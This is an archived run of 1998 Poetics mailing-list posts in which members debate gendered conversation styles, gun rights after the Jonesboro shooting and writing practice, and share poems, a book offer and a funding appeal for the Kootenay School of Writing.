>horrible conflicts and prejudices that are rife within North America, that
>is a very different matter....Perhaps that is the really significant
question.
>
>Morpheal

>
>

↑ Index

919. Henry Gould
Re: women & men in conversation
Fri 27 Mar 1998

Women feel threatened by men; men feel threatened by ideas. Women feel threatened by men; men feel threatened by their own shadows. Gender is an idea women can identify with; for men, ideas are sexualized. For women, gender is something to write about; for men, writing IS their gender (i.e. they take it for granted). The world cultural structure is the result of men subjecting the world to their shadows. Women are strange attractors in that shadow game. The light breaks slowly into the cave. & there's - why, it's Whistler's Mother!!!

- adventures in independent babbling brought to you by the inevitable HG. Now I promise to be quiet for 3-4 days. I promise.

↑ Index

920. Elizabeth Hatmaker
Re: women and men in conversation
Fri 27 Mar 1998

Slightly off topic, but. . .

I also find these studies compelling. Except when I start thinking about pedagogy. Have studies been done on communication patterns of women who have positions of institutional power, like, say, that of a teacher? I've read a great number of essays by feminist comp. professors (and heard them speak) and often the most horrible issues they dealt with in essays/talks are the insolent male student who won't cooperate with their feminist pedagogies. While I suspect many can sympathize, I found that usually by the end of these essays/talks, it all seemed to come down to finding ways to make them behave, usually through the mighty grading pen. I know, I know, I should offer proof of this-- I recall one in Lad Tobin's _Taking Stock_ which troubled me. So what does this mean? Are cooperative ways of speaking (and teaching) always cooperative?

Do the studies of "gender speak" tend to naturalize gender in a way which is always useful? As a female teacher, I think the idea of "gendered pedagogies" need to be rigorously thought out.

Jane Gallop's essay "Teacher's Breasts" was sort of instructive to me in this vein, tho' I sometimes have problems with Gallop. But, performative pedagogy-

- does it offer extra-gendered (not quite sure what that means, but sounds kind of X-filesy) teaching possiblities? Do we need them?

Going on vacation,
Elizabeth

↑ Index

921. Keston Sutherland
extra-tentative pt.4 of O.T.O.A.R
Fri 27 Mar 1998

4.

Bright traffic through the even
lights of common day
bribed back desire intact were they dociles splinters

and differing heats gather
make by your
great promise to them, acid mandate to incite only

one (skin her throat) condemned moderate hindrance by
shrink-wrapped, slowed up at that same
rateless attachment to go one (she is sunlit)

ignorance
some nameless rill
gather love by shredded edict collate dead-you

(and every
star in the
night-sky stays entire).

↑ Index

922. George Bowering
Re: what does Jonesboro
Fri 27 Mar 1998

> *Sadly, logic dictates that the citizens' right to bear arms is a necessity to help assure the prevention of the worst kinds of tyranny. As a nation state becomes ever more centralized and powerful that safeguard sometimes becomes insidiously undermined and the tendency is to either take away that right and risk that a dictatorship or an oligarchy might sieze power essentially unopposed, or for the citizens to seek more powerful means of protecting their freedoms.*

That is not logic. That is USAmerican brainwashing. The citizens dont bear arms in most peaceful democratic societies. They are more likely to be bearing arms in countries in which oligarchies persist. There are more Serbians carrying weopans than there are New Zealanders carrying weapons.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

923. **Mark Weiss**

Re: women and men in conversation

Fri 27 Mar 1998

I can't speak to these well-known studies except anecdotally, and as a member of a fractious family raised in fractious New York I have little experience of this gendered difference in conversation styles. But I am willing to accept the general acuracy of the findings, and here in San Diego I had expected experience to conform more closely to the model. So here's a recent experience. I just finished jury duty. A forty-year-old single woman claimed, and the court in a previous case had confirmed, that a prospective boss, who was holding out the possibility of a lucrative job that apparently didn't exist, had driven the woman from a business dinner (or so she had understood it) to a secluded area, instead of to her car, as he had proposed, where he proceeded to lose it in a big way, becoming verbally and gesturally violent to the point that she feared for her life and also feared that she would be raped. On the stand, when asked what her thoughts had been, she said that a multitude of thoughts had occured to her during the three or four minutes in question, including the aforesaid, and also that fleeing in high heels on wet, stony ground would be difficult, and that she would ruin her suit. This is only a piece of a wider case, but it's emblematic of the whole. We were supposed to determine, among other things, if the woman had experienced recompensable damage, and how much, due to emotional stress and fear at that moment. The jury consisted of two men, myself and a working class guy of maybe 28, one woman in her 70's, and nine married working women of various social classes between 25 and 45. All were white, none hispanic. Except for me and the older woman, all were native to the area. Us guys and the older woman were the only ones who voted for damages (or lost wages, the other matter in contention). The other nine thought that she must be lying about her fears, or she wouldn't have worried about her suit (in refusing

to award lost wages the nine held that the woman should have known better, she was probably trying to use her feminine wiles, and she was a spoiled bitch anyway). The nine appeared for the most part to be motivated by distrust of single women and envy of their social mobility, although a few did raise some interesting points. All of the women participated vociferously, interrupting and drowning out opposition in a manner that would have provoked admiration even among the women of my own family. At one point towards the end I found myself, in frustration, telling the women that I must be the only feminist there. I instantly realized that I had just become a cliche, and that I was probably right. This is San Diego. After that experience I'd love to meet some women who consider conversation a cooperative activity.

At 01:30 PM 3/27/98 EST, you wrote:
>According to studies by Deborah Tannen, author of _He Said, She Said_ , women
>and men learn strikingly different modes of discourse from an early age. Most
>boys learn to use conversation as a competitive activity, emphasizing their
>differences and individuality, establishing a hierarchy, which contributes to
>group cohesion, and within which each member is constantly striving for a
>higher position by challenging others and by showing his own knowledge to be
>"superior." Most girls learn to use conversation among friends as a
>cooperative activity. Anyone who criticizes within the group, or tries to show
>superior knowledge is setting herself apart from (above) the group, and is
>therefore seen as making an attempt to destabilize it. Differences of opinion
>are more often put forward as questions rather than statements. Or they're
>prefaced with phrases such as, "In my experience," implying respect for the
>speaker's opinion while maintaining one's own. Within the cooperative mode of
>discourse, a direct statement of "you're wrong" is, in effect, telling the
>speaker to shut up.
>
>So, when folks using the two different modes of discourse, the competitive and
>the cooperative, come together, the competitors tend to dominate because their
>direct challenges and criticisms are, within the rules of cooperative
>discourse, telling the cooperatives that their contributions are unacceptable.
>This affects discussions of poetics, because academic discourse generally

>utilizes the competitive mode. And, while young women are now more often
>trained to use the competitive mode with confidence, saying that women
>"should" do this is really saying that women should be more like men. Until
>both sides recoginize these different modes of discourse, respect them
>equally, and take them into account in their conversations together, women
>will often think that men are (verbally) attacking them, and men will think
>the women are wimping out.
>
>This is just a very brief, and probably inadequate, summary of some of the
>main points in Tannen's book, which I highly recommend to anyone interested in
>this subject.
>
>Bobbie West
>
>

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924. **michael corbin**

Re: \engine dire, etc . . .

Fri 27 Mar 1998

Henry Gould wrote:

> *I hear Melville, eating potato chips in his PJ's.*

Elizabeth Shaw Melville, wife

We breakfast at 8 o'clock, then Herman goes to walk and I fly up to put his room to rights, so that he can sit down to his desk immediately upon his return. Then I bid him good-bye, with many charges to be an industrious boy and not upset the inkstand.... At four we dine, and after dinner is over, Herman and I come up to our room and enjoy a cosy chat for an hour or so -- or he reads me some of the chapters he has been writing in the day. Then he goes down town for a walk, looks at the papers in the reading room, etc., and returns about half-past seven or eight. Then my work or my book is laid aside, and as he does not use his eyes but very little by candle light, I either read to him, or take a hand at whist for his amusement, or he listens to our reading or conversation, as best pleases him. For we all collect in the parlor in the evening, and generally one of us reads aloud for the benefit of the whole. Then we retire very early -- at 10 o'clock we all disperse. --Letter to her stepmother, December 23 1847

constitutional guns=bang, bang, you're dead.

civic-life

Subject: The Union as a Safeguard Against Domestic Faction and Insurrection (Continued from No. 9.) ". . . The influence of factious leaders may kindle a flame within their particular States, but will be unable to spread a general conflagration through the other States. . . . "

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" . . . learn what
poetry can do, practice that, vague broadcast accusations are worse . . . "

" . . . vague broadcast accusations are worse than useless, they discourage others who might have something useful to contribute."

" . . . vague broadcast accusations . . . "

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"In the extent and proper structure of the Union, therefore, we behold a republican remedy for the diseases most incident to republican government. And according to the degree of pleasure and pride we feel in being republicans, ought to be our zeal in cherishing the spirit and supporting the character of Federalists."

PUBLIUS, Federalist 10, 1787

ravished, undone

mc

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925. **Don Wellman**

Re: women and men in conversation

Fri 27 Mar 1998

What do men think of their gender when in conversation, with women, with men, with students? What do men think/feel about gender when the write poems, post to the list etc ... What do men think feel about gender (their gender) when they reflect on Jonesboro?

John Berger, ages ago, wrote something to the effect "men act, women appear" and probably this could be paraphrased to make the general case "men act without reflection on their gender; woman appear always as gendered...."

I read Girls on Film and Postfeminist Playground here on the net, among other gendered sites, and I read this list and I am teaching Ceremony now by Leslie Marmonm Silko and I looked at my mom's RedBook and my sister's Seventeen when I was growing up. I will buy Cosmo occasionally now and discuss the images and the advice with my students who are reading Berger. What does all

this have in common, high brow or low brow, the women are telling stories that have somekind of healing power for them. I do not find men telling me stories with healing power. Instead I hear men citing the law.

I badly need a story with healing power to help me comprehend Jonesboro. I want the stories of all those involved, the boys, the friends of the victims, the parents. I think Silko is right the world is fragile and it needs our stories. How did I come to think this way? I think class has more to do with it in my case than gender. I have always been aware that boys of my class are not supposed to have the interests that I have. I have had this feeling when talking with boys and men of more privileged backgrounds than mine. I have pursed obscurity in defiance of a fear of failure. I have flaunted my talents and I have failed miserably because it was expected. I have often been embarassed by my claims that I had something special to offer someone. Now I have an ear and an intellect, but I still do not have a story.

I think gender is a story that helps women negotiate reality. I think class is a story that helps me negotiate reality. I think this country has produced a maximum of human misery and suffering. When I think of men with respect to gender, I loathe what I see. I see men eating their children and killing one another. I am appalled that boys have taken to gunning down girls in Jonesboro and in Paducah.

And I ask does my attempt to make sense of any of this reflect the privelege of my gendered position? I hope not--but I see my post can be read as plea by one representative male for women to save him and that too is an old and tedious story--but I do love the weaving of voices around me. I have been listending to Gesualdo and Hildegaard von Bingen and it almost doesn't matter what they say anymore, because of weaving and that is what I am seeing again in Silko's Ceremony and what I have geard in Woolf's Room and something that is so difficult for both my male and my female students to grasp.

Sorry to be so open-ended and unresolved ... My question comcerns the passion for words in resonant structures, the ears, and the relation of this passion to the need for healing stories.

Don Wellman

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926. **Keston Sutherland**

Re: women and men in conversation

Fri 27 Mar 1998

What do men think/feel about gender when the write poems, post to the list etc ...

I rarely write a poem without this question at least near the forefront of my readiness, its answer is partial but in the poem somehow --

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927. **k. lederer**

Re: women and men in conversation

Fri 27 Mar 1998

If I remember correctly--

One of the threads that preceded this one had to do with some people signing off? And these people (person) had said something about intellectual smugness on the list--professorial/padagogical tones being dominant--

I at least partially agreed with this person--

But also figured that the list had more to offer.

I like it that the posts lately have consisted of so many stories--especially stories that seem to relate to the composition of poetry--to the process by which people here write--and their reasons for writing.

I know that I write (and edit and poeticize) for reasons not altogether clear to me.

I can sometimes pin-point the sensation that prompts me to write--

Sometimes it consists of anxiety related to my gender, my age, my day--to things that someone else has said--

Sometimes it consists of a feeling of elation--of, perhaps, a kind of manic response to something provocative that I encounter--a person, a phrase, a picture.

But sometimes I'm not really sure what it is--

Part of why I like the idea of this list is that it makes people from lots of backgrounds available to me. I like it when people post little reports about their day--maybe regarding a reading they went to the night before.

I like it when Keston and others post poems.

I like to hear about people's histories as writers--why they write.

That's it.

Katy

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928. **k. lederer**

Explosive Editing--Ishamel Klein

Fri 27 Mar 1998

Hi--

Just received a wonderful batch of poems from one of my favorite poets--Ishmael Klein.

She is from New York--doesn't publish much (I don't think she sends out)--

I am including her work in the next issue of Explosive. The issue has a theme--"Spectacular Emotion."

Ishmael is an incredibly unique writer. She reads a lot of old stuff--

EACH DAY DIFFERENT ENOUGH TO BE SOMETHING SUN CAN SET ON

These crows we see manifest ill crowd mentality.
If their going off in pairs is as mate, does it as love redeem?
I'm afraid no. This tree too unhappy full of messy noise i.e. crows.

When a dead man dries his soul gets to go
with wind. Hawks come in
against crows in wheeling tournament for soul.

If the black birds get it, they celebrate in a tree
to scare it, living, under them. No moonlight gets past them;
much less a helpful sparrow. Trees only love unambitious birds.

If hawk, talons out to prize...
If hawk wins, soul goes higher privately.
Dust souls have nothing to say about it.

They only want enough weight to be worth effort.

I see today getting dark. Villagers walk home quick
according to the state of the sky. They urge each other
in as well I'd want myself in general.

This world large insofar as has
big grasp to take the unattached away
which attracts certain animals.

Maybe you think this emphasis of hypothetical phenomenon
with questionable qualities just as well not there.
But you said "Big World" yourself and not without the look of imminent
icebath

I've told those turned cold to go.
I want to stay myself but more informed.
I want the animals to like me.

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929. **Thomas Bell**
Re: POETICS Digest - 25 Mar 1998 to 26 Mar 1998
Sat 28 Mar 1998

I would also be interested in these materials.
tom bell

At 12:47 PM 3/27/98 EST5EDT4,M4.1., Reinfeld, Linda wrote:
>A question from Toshi Ishihara (formerly in Charles Bernstein's
>class at UB):
>
>I'm beginning work on a paper about the integration of text and
>pictures in the work of Theresa Hak Kyung Cha, Trinh T. Minh-ha,
>and Michael Ondaatje. If anyone can suggest critical materials
>that would help me along with this project, I'd be very grateful.
>Responses to the list will be forwarded to me by Linda Reinfeld
>([redacted]), or you can mail me backchannel at
>[redacted]
>
>Thanks a lot -- Toshi
>
>

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930. **david bromige**
women & men in conversation
Sat 28 Mar 1998

Apologies in advance for the anecdotal nature of what follows. Please consider this is a Product Warning.

Thank you Mark Weiss, for your anecdote, the timely reminder that the map is not always the territory. What a horror story! Your patience wit and irony not-withstanding, you must have been sorely tried. I myself was this week at a meeting where one woman was shouting down another. I must have blotted it out when I posted the other day. I guess I've been "spoiled" by the company I keep professionally, by its articulateness, and its self-injunction to question its own motives--although there have been some verbal brawls at dept meetings where gender would scarcely have been discernible to one reading a transcript

which rendered the speakers anonymous. I suppose I seek out people of either gender who enjoy conjecture and entertain many viewpoints; and intuitively avoid "overriders" bent on laying down the law. Not that I havent laid it down in my time.

And not to say my wife and I wont fight like cat and dog upon sufficient provocation--whatever may constitute that next time. (It's the !surprise! that trashes civility.) Then there's our 16-y-o daughter, who says a lot with a door. And I've had some horrible arguments with people that when I look back on are like lenses that focus and enlarge my pigheadedness & spite. Nor did they, man or woman, fight fair. Still I like to think there is something to the broad generalities of these gender-speak theories, and my tendency to align with what they say are women's ways.

As an admirer and student (in the large sense) of Robert Duncan, I thought often about the idea of Strife as the mainspring of the human universe. "Why was he so spiteful towards the Langpos," I would ask myself, "When opposition and difference were what he was looking for? Where was his gratitude for their proving something he felt so opposite? " In short, the notion of Strife as the generative force of existence contains its own undoing, IMHO, since one must welcome what one detests, for proving one's belief right. Only those who hold with Agreement as the mainspring can properly reject the disagreeable, if it prove incorrigible, that is, if it persist in its folly despite all of one's attempts to enlighten it--to strive with it. Or so it appears to me. db3.

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931. **sylvester pollet**

Re: women & men in conversation

Sat 28 Mar 1998

> *Thank you Mark Weiss, for your anecdote, the timely reminder that the map is not always the territory. What a horror story! Your patience wit and irony notwithstanding, you must have been sorely tried.*

I want to second this, Mark. The plaintiff tells what ran through her mind, & her thoughts are found illogical, or inadequate or something, as though minds worked that way in tense moments. I'm not even sure it was illogical--clearly she'd need that suit in good shape to search for a new job!

And thanks David, too. Some good stuff coming out of these discussions. Isn't this, from your last post, why we were attracted to reading/writing poetry in the first place?

> *I suppose I seek out people of either gender who enjoy conjecture and entertain many viewpoints; and intuitively avoid*

> *"overriders" bent on laying down the law. Not that I havent laid it down in my time.*

good point on Duncan too. It's the paradox of revolutionaries who win & find themselves the new status quo.

best, Sylvester. p.s. The snow is finally melting!

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932. Rebecca Sithiwong
Virginia Woolf, class
Sat 28 Mar 1998

K. Lederer thank you for putting us on track again. I am not generally the confessional type but would like to put my personal experience out there for comment.

I left the United States with my family as a child just eight years old. I've been writing words to please myself since that time. They were secret words in special worlds which accompanied me as we moved and moved and moved. I never thought of myself as a writer, but rather, a passionate traveler who liked to write.

One day, twenty years later, I decided to stop traveling. I built myself a home and surrounded it with a garden. I didn't get on an airplane for over ten years. Raising three children doesn't give you alot of choice about time to write; I wrote at midnight, at six in the morning, whenever I could, whenever I wasn't working or reading.

One day, I looked at a corner of my garden and said to myself, I'm going to write over there. I was determined to have a room of my own. With the little bit of money I'd saved I bought an old house, hired some carpenters and built me a room. My Thai mother-in-law was worried. Are you leaving us? My children were worried. Are you going to live in it? My husband said nothing, I told him nothing. I realized that not one of them knew that I was going to write in that room. In fact, none of them thought anything about the writing they had witnessed for years.

But now that I go to my room every day, the kids tell visitors: Mommy's over there, she's writing. My mother-in-law comes up every now and then to talk and excuses herself for disturbing my writing. My friends ask, what are you writing?

I write because I can't imagine what to do with what I think, other than writing it in words on a piece of paper. That's where it still happens, despite the screen in front on me. I have been alone with this writing for so long in a place where no one can read my language that I can't imagine what it would mean to

someone else. For me it's a part of life that needs it's own space just like my children or my dinner or my bath. Inviting someone to read it would be like asking them to share a meal or a shower. It would be like taking my children for an interview: if there was a good reason, I'd do it, but, I'd be pretty careful.

Rebecca

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933. **Daniel Zimmerman**

Re: Ishihara/Reinfeld Hyakunin Isshu

Sat 28 Mar 1998

Reinfeld, Linda wrote:
>
> Thanks to Charles Bernstein's generous notice, there's
> revived interest in our translation of Hyakunin Isshu:
> The Game of 100 Poems. We're selling them for $21.00 a
> box (that includes the cost of mailing in the USA): there
> are not many left, so if you want me to save you a set,
> please let me know by email ASAP.
>
> Our translation is now available in book form as well.
> Kansai University Press published it last year, a very
> nicely done bilingual edition, hardback, with some of
> our own photographs. I have plenty of copies of that, and
> there are who knows how many more "sleeping in Japan,"
> according to Toshi. You can order it from me for $11.00
> (again, cost of mailing included).
>
> Cash or checks made out to me, Linda Reinfeld,
> 50 Oakdale Drive, Rochester, NY 14618.
>
> Thanks,
> Linda and Toshi
> [redacted]
> [redacted]

The check's in the mail, Linda. Thanks.

Dan Zimmerman

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934. **Thomas Bell**

Re: Explosive Editing--Ishamel Klein

Sat 28 Mar 1998

Please send subs and single issue purchase info. thanks
tom bell
[redacted]
2518 Wellington Pl.
Murfreesboro, TN 37128

At 08:38 PM 3/27/98 -0600, k. lederer wrote:
>Hi--
>
>Just received a wonderful batch of poems from one of my favorite
>poets--Ishmael Klein.
>
>She is from New York--doesn't publish much (I don't think she sends out)--
>
>I am including her work in the next issue of Explosive. The issue has a
>theme--"Spectacular Emotion."
>
>Ishmael is an incredibly unique writer. She reads a lot of old stuff--
>
>
>EACH DAY DIFFERENT ENOUGH TO BE SOMETHING SUN CAN SET ON
>
>These crows we see manifest ill crowd mentality.
>If their going off in pairs is as mate, does it as love redeem?
>I'm afraid no. This tree too unhappy full of messy noise i.e. crows.
>
>When a dead man dries his soul gets to go
>with wind. Hawks come in
>against crows in wheeling tournament for soul.
>
>If the black birds get it, they celebrate in a tree
>to scare it, living, under them. No moonlight gets past them;
>much less a helpful sparrow. Trees only love unambitious birds.
>
>If hawk, talons out to prize...
>If hawk wins, soul goes higher privately.
>Dust souls have nothing to say about it.
>
>They only want enough weight to be worth effort.

>
>I see today getting dark. Villagers walk home quick
>according to the state of the sky. They urge each other
>in as well I'd want myself in general.
>
>This world large insofar as has
>big grasp to take the unattached away
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>Maybe you think this emphasis of hypothetical phenomenon
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>But you said "Big World" yourself and not without the look of imminent
> icebath
>
>I've told those turned cold to go.
>I want to stay myself but more informed.
>I want the animals to like me.
>
>

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935. **Dr. Michael J. O'Driscoll**

Re: what does Jonesboro have to do with women & poetry & Poetics list

Sat 28 Mar 1998

Morpheal wrote:

> *Sadly, logic dictates that the citizens' right to bear arms is a necessity to help assure the prevention of the worst kinds of tyranny.*

By "worst kind of tyranny" I wonder if you meant any of the following:

-the tyranny of right wing militant organizations
-the tyranny of spouse abusing husbands
-the tyranny of armed youth gangs

I could go on... but I'll finish on this one: the tyranny of an outdated and failed ideology that is so firmly entrenched that it leaves even well read intelligent people making reckless and ill considered suppositions about the great tragedies of the 20th century.

Gimme a break. The "right to bear arms" will never stand in the way of the U.S. military, but it does make life miserable and sometimes shattering for countless innocents.

MOD

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936. **Reinfeld, Linda**
Ishihara/Reinfeld Hyakunin Isshu
Sat 28 Mar 1998

Thanks to Charles Bernstein's generous notice, there's revived interest in our translation of Hyakunin Isshu: The Game of 100 Poems. We're selling them for $21.00 a box (that includes the cost of mailing in the USA): there are not many left, so if you want me to save you a set, please let me know by email ASAP.

Our translation is now available in book form as well. Kansai University Press published it last year, a very nicely done bilingual edition, hardback, with some of our own photographs. I have plenty of copies of that, and there are who knows how many more "sleeping in Japan," according to Toshi. You can order it from me for $11.00 (again, cost of mailing included).

Cash or checks made out to me, Linda Reinfeld,
50 Oakdale Drive, Rochester, NY 14618.

Thanks,
Linda and Toshi
[redacted]

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937. **linda russo**
women, i.e. rachel & katy
Sat 28 Mar 1998

---

wowzie -- i sure picked a bad week to "sign off" (being in buffalo in reality but not discursively . . .)

i can't catch up on all of what went down -- but i really enjoyed reading my male(chris)-edited selection of poetix posts, thinking, is this the rachel i know & love & thinking that delivering pizzas (or reading a lot?) has sure hardened you to the wiles of the world in some way, or you just never showed yourself in my presence to be the guttermouth you are

but really, katy, i think if you spent a year in salt lake city (as
rachel recently has) you're eyes would be bruised with the blaring
discourse of
#1) female students missing classes b/c they have
morningsickness, an ob/gyn appointment, or contractions, or they
can't find a babysitter
or #2) female students miraculously almost uniformly slim and blonde,
all giggling and in quest of the sanctioned situation (i.e. #1)

& thinking back a while to maria damon's remark that the higher we look in education, the higher the female dropout rates (no real mystery here, right?) -- sure I wish more women were on the list, more women were sending work out & getting it published -- but that would be simply wishing for non-existent "women" to materialize -- that is, i think WE'RE IT -- we're the women we want more of & you only get more of us by changing the discourses that force women to not -- not to, not to want to, to be afraid to -- become like us.

write on -!-

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938. **Robert Manery**
KSW Call for Support
Sat 28 Mar 1998

Thank you to everyone who has sent letters of support on behalf of the Kootenay School of Writing. The Cultural Affairs staff at the City of Vancouver are still telling us that they will not restore our funding but have indicated they are upset by the letters being sent to the mayor and city councillors (who have final approval of our appeal). This is a good indication the letters are having an effect. We are urging people to continue to send letters. The appeal will be heard by city council on April 23rd so please send letters, emails, faxes before that date.

Some background info:

The Kootenay School of Writing is a volunteer collective which organizes reading, lectures and workshops in Vancouver, BC. KSW has been operating since 1984 and published Writing magazine until 1992 and now publish Raddle Moon. For the last 12 years KSW has enjoyed the financial support of the City of Vancouver. Now, without any prior indication, the city has decided that our audience and scope are too limited to warrant funding. Our financial request is relatively small ($4000) but without it KSW may have to close or at the very least severely curtail our activities.

Addresses:

Kootenay School of Writing
112 West Hastings Street, Vancouver, BC, V6B 1G8
email: [redacted]

City Council

City Hall, 453 West 12th Avenue, Vancouver, B.C., V5Y 1V4
email: [redacted]
fax: Mayor Philip Owen at [redacted]

Office of Cultural Affairs, Social Planning Department, City of Vancouver, Suite 103, City Square (Box 96),555 West 12th Ave., Vancouver, BC V5Z 3X7 Fax: [redacted]

Thank you

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939. **morpheal**
Re: what does Jonesboro have to do with women & poetry & Poetics list
Sat 28 Mar 1998

> *Sadly, logic dictates that the citizens' right to bear arms is a necessity to help assure the prevention of the worst kinds of tyranny.*

I shall answer this one, as it resembles some of the other contentions, and I do not want to take too much bandwidth on this poetics channel as regards what is mostly political content. Not that the two subjects are wholly separable. Poetics and politics, poeticians and politicians, are inextricably interwoven into a similar niche in the same fabric... (Ginsberg and Nixon, for example, such that we have to wonder sometimes who influenced peace in southeast Asia more strongly, the poetician or the politician, both playing their parts).

> *By "worst kind of tyranny" I wonder if you meant any of the following:*
>
> *-the tyranny of right wing militant organizations*

The power of persuasive salesmanship could result in a illigitimate usurpation of power. That certainly is a concern.

> *-the tyranny of spouse abusing husbands*

I do not doubt there are spouse abusing wives also, but in any instance, at least individuals in those situations can leave those situations as a matter of freedom of choice. I know that I would never remain within a truly abusive relationship, and feel bound to be the martyred victim. Probably because I despise sado-masochism, having no liking for pain, and even less liking for any others being deliberately afflicted with pain. Least of all when someone doing the afflicting is _enjoying_ doing so.

I think that there are at least as many sadistic women as there are sadistic men, who enjoy causing pain to some other and cause such pain intentionally.

Fortunately humanity as a whole is not by its nature that way. It is simply that some people are that way.

> *-the tyranny of armed youth gangs*

The fact that those exist is a question concerning education and its efficacy.

Of course, such need to be disarmed, demobilized, and demilitarized, don't they ? The world has shown, on occassion, that it knows how to accomplish such tasks, and I see no real difference in that regard between adult armies of aggression and armies of youths, commanded similarly, and armed to the teeth along with aggressive, territorial, violent intentions. I am not suggesting as violent a response as their's to each other, as might cause loss of life, as that is certainly not what is desired, but in psychological terms at least the two situations can be all too similar.

Gangs of youths need peacekeeping forces as much as countries and ethnic groups that are hell bent on destroying, conquering, and otherwise violencing and brutalizing each other. Gangs often have their own unique ideologies and ritual practices. They identify with each other internally and dehumanize outsiders (from other gangs, mostly), so that it is easier for members to make war on the aliens. The best method has proven to be demilitarization and at minimum a greater force of arms to cause a standing down of the aggressors. With armies hell bent on destroying other armies that they see in conflict with them, there seems to be no other way. Diplomacy usually becomes no more than a military tactic to allow regrouping and escalation of firepower.

> *I could go on... but I'll finish on this one: the tyranny of an outdated and failed ideology that is so firmly entrenched that it leaves even well read intelligent people making reckless and ill considered suppositions about the great tragedies of the 20th century.*

All ideologies, as such, are exactly as you say. I would never argue with anyone who is saying that all ideologies, religious and political, are essentially dysfunctional in light of their very natures as ideology.

They are beliefs that disregard the realities and fail to respond to the realities as an inevitable consequence of that fact.

As for the machinations of 20th century conflict, including such instances as German and Italian electronic inventiveness, and the attempts of all sides to manipulate the figure head leader Hitler's psyche by remote means... the historians have not yet even begun to unravel this century. The wizards of oz have been around, and active, since the previous and it will a long while until that curtain is parted. They keep writing much the same fictions, and yet most of

political history is fictional. We are even further from a good account of what medeival times were like in Europe. There is such a tendency to stress civilization, and such a reluctance to realize how much worse than Machiavellian it all really is. So tell me about this beleaguered century. We can only weep for what it was and has become, in terms of the tolls exacted as to human suffering, including the silent sufferings of the brain washed and the unknown countless victims of political/ideological torture.

There is a very real question as to who is doing it to whom, in such political arenas. Each aggressor group wants the others all to think it is someone else other than themselves, so you are dealing with a web of chamelion trickery of a very sophisticated kind. The KGB liked to pretend it was the CIA doing it to Americans, and were quite good at that. They fooled a lot of people.

It is much worse than you think it is.

> *Gimme a break. The "right to bear arms" will never stand in the way of the U.S. military, but it does make life miserable and sometimes shattering for countless innocents.*

Soldiers are more likely to be split into factions and to turn on their own, if they are ordered to kill their neighbours, friends, even families. At least if they are put up against the very people they continue to partly identify with as "their own" according to national, cultural, and other factors of identity. Even sporadic guerrilla action against a military coup can lead to its overthrow by splitting the military forces involved as truly oppressive tyranny is not likely to have complete and total loyalty in any instance. What would spur such a split is armed resistance among the population. One has a harder time shooting one's friends than one has shooting the dehumanized enemy. It is much harder to dehumanize the citizenry of one's own country, to turn its army against its own people.

So it is far from as simple as you seem to suggest.

There are safeguards within the right to bear arms, and as you say there are risks and dangers. I hate the thought of the latter happening, as much as you do, and there ought to be better ways to address the question effectively, such as teaching responsibility at an early age and facilitating effective communication and non violent conflict resolution from an early age, as well as some respect for the well being and lives of others, without taking away the right of adult citizens to bear arms.

Of course the right to bear arms ought to hinge upon some controls that regulate who can and who cannot obtain a permit. There are some people who ought not to have them, as they would predictably use them for evil and nefarious purposes, rather than the reasonable defense against illigitimate usurpations of power.

The worst, most oppressive, tyranny would result where there is zero probability of resistance to that tyranny. In fact it would be inevitable and absolute.

Morpheal

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940. **Karen Kelley**
Re: Virginia Woolf, class
Sat 28 Mar 1998

Rebecca Sithiwong wrote:

> *My Thai mother-in-law was worried. Are you leaving us? My children were worried. Are you going to live in it?*

Wonderful story. I, too, love the personal, but always wonder if it's "appropriate" to the list. I like to think so, but what do you, fellow listees, think? Is there a line where something is too personal for the list?

This actually raises interesting questions about where life & poetry meet & mingle. In undergrad (visual art) I recall a consensus among my peers that sculpture shouldn't be "too personal," (this in the midst of minimalism/post-minimalism). And if someone, during a critique, didn't want to explain their work, inevitably they'd say: "I don't want to say any more--it's personal."

My Mom always said: "Don't write down anything you don't want EVERYONE to see." She also said, when I wasn't being "good,": "Why don't you understand English?!?" Perhaps the harmless remarks of an immigrant-child turned school teacher, but it's always made every word that comes out of my mouth or off of my page seem dangerous/embarrassing/too personal. And now email & lists tempt me to write down things on the fly, which everyone will see. My Mom'd be horrified!

Viva la personal!

↑ Index

941. **Karen Kelley**
Re: what does Jonesboro have to do with women & poetry & Poetics list
Sat 28 Mar 1998

---

morpheal wrote:

> *I do not doubt there are spouse abusing wives also, but in any instance, at least individuals in those situations can leave those situations as a matter of freedom of choice. I know that I would never remain within a truly abusive relationship, and feel bound to be the martyred victim.*

I'm surprised: usually you're more humane. I don't understand the workings of relationships where women get stuck in abusive relationships, but it's been pointed out time & again by shrinks & the women alike that walking away does not present itself as a choice. It's the torturer-victim bond, well-documented, the usual phrase for which I can't recall first thing in the morning.

↑ Index

942. **Shemurph**
The Personal
Sat 28 Mar 1998

In a message dated 98-03-28 13:14:50 EST, Karen Kelley wrote:

<< Viva la personal! >>

And I entirely agree.

One of the most delicious things in writing, I find, is the juxtaposition of abstraction and personal revelation. One fulls the other forward.

Sometimes it is appealing to note that someone made you want him/her to go further, but the writer did not. Intrigue, nudging desire.

↑ Index

943. **Keston Sutherland**
raped into a chosen martyrdom eh
Sat 28 Mar 1998

I imagine that anyone else who managed to read to the end of morpheal's rejoinder will be, as I am, surprised at that feat; rarely (yes, rarely, despite the various urge to pessimism) do we get to see so accidentally inflammatory a note, such coarse and reckless improvising about real suffering, such a vacuous and automatic defense: "our vanity is never harder to damage than immediately after our pride has been damaged", etc. I disagree with every amateurish appeal and clownish assurance he makes ("it's more XXX than YOU know"), with a vehemence teetering on contempt, NO - fuck it - with CONTEMPT, but the recital of one passage should suffice to illuminate his obnoxiousness (not that this passage is even the most obnoxious - just recall his guarantee that in fact gang violence and international war crimes are basically the same thing):

"I do not doubt there are spouse abusing wives also, but in any instance, at least individuals in those situations can leave those situations as a matter of freedom of choice. I know that I would never remain within a truly abusive relationship [sounds to me like you'd make one], and feel bound to be the martyred victim. Probably because I despise sado-masochism..."

IS ANY COMMENT NEEDED? Are caps needed?

Thank God for freedom of choice - let's tell all those trapped and abused wives to stop their fucking sniveling and get a -healthy- sexuality, shall we.

morpheal, this comment of yours is plain idiocy

↑ Index

944. **ScoutEW**
Re: Farmers Schoolboys
Sat 28 Mar 1998

---

you say farmers schoolboys in a way that is rude. Its as if you are saying(thems farmfolks they couldn't accomplish much) May be you don't get many farmers school boys up at havad' or wherever you are but listen to the way it sounds- Don't underestimate the farmers schoolboys, they contribute

